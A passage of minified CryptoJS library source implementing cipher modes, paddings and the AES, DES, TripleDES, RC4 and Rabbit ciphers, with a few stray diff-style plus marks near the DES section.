t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, 